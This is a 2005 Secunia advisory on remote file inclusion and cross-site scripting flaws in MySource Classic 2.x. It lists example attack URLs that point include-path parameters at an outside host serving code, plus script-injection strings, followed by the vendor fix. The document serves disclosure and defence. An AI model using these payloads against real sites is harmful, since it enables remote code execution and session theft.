|
MySource Cross-Site Scripting and File Inclusion Vulnerabilities
|
|
Secunia Advisory:
|
SA16946
|
|
|
Release Date:
|
2005-10-18
|
|
Popularity:
|
5,229 views
|
|
|
Critical:
|
 Highly critical
|
|
Impact:
|
Cross Site Scripting System access
|
|
Where:
|
From remote
|
|
Solution Status:
|
Vendor Patch
|
|
| Software: | MySource Classic 2.x
|
|
|
Subscribe:
|
Instant alerts on relevant vulnerabilities
|
|
Description: Secunia Research has discovered some vulnerabilities in MySource, which can be exploited by malicious people to conduct cross-site scripting attacks and compromise a vulnerable system.
1) Some input isn't properly verified, before it used to include files. This can be exploited to include arbitrary files from external and local resources.
Examples:
http://[victim]/web/edit/upgrade_functions/new_upgrade_functions.php?INCLUDE_PATH=http://[host]/[file]?
http://[victim]/web/edit/upgrade_functions/new_upgrade_functions.php?SQUIZLIB_PATH=http://[host]/[file]?
http://[victim]/web/init_mysource.php?INCLUDE_PATH=http://[host]/[file]?
http://[victim]/pear/Net_Socket/Socket.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/HTTP_Request/Request.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Mail/Mail.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Date/Date.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Date/Date/Span.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Mail_Mime/mimeDecode.php?PEAR_PATH=http://[host]/[file]?
http://[victim]/pear/Mail_Mime/mime.php?PEAR_PATH=http://[host]/[file]?
Successful exploitation requires that "register_globals" is enabled and that the affected scripts are placed accessible inside the web root.
2) Some input isn't properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
Examples:
http://[victim]/web/edit/upgrade_in_progress_backend.php?target_url=">[code]
http://[victim]/squizlib/bodycopy/pop_ups/insert_table.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/edit_table_cell_props.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/header.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/edit_table_row_props.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/edit_table_props.php?bgcolor=</style>[code]
http://[victim]/squizlib/bodycopy/pop_ups/edit_table_cell_type_wysiwyg.php?stylesheet=">[code]
Successful exploitation requires that "register_globals" is enabled and that the affected scripts are placed accessible inside the web root.
The vulnerabilities have been confirmed in version 2.14.0. Prior versions may also be affected.
Solution: The vendor has fixed the vulnerabilities in version 2.14.2 by warning the user during the installation process about the security risks of placing MySource script files in a publicly available folder and having "register_globals" enabled.
Users should set "register_globals" to "Off" and ensure that the MySource installation is moved out of the web root.
Installation process updated in version 2.14.2:
http://mysource.squiz.net/download/downloads/download_2.14.2
Provided and/or discovered by: Secunia Research
Original Advisory: Secunia Research:
http://secunia.com/secunia_research/2005-51/advisory/
|
|
|
Track this Secunia Advisory
|
Customers of the Secunia Vulnerability Intelligence solutions will automatically receive updates when new information regarding this advisory is released.
Read more about our Vulnerability Intelligence solutions and what they can do for you and your company.
|
|
|
About this Secunia Advisory
|
Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.
Secunia collects, validates, and verifies all vulnerability reports issued by security research groups, vendors, and others.
|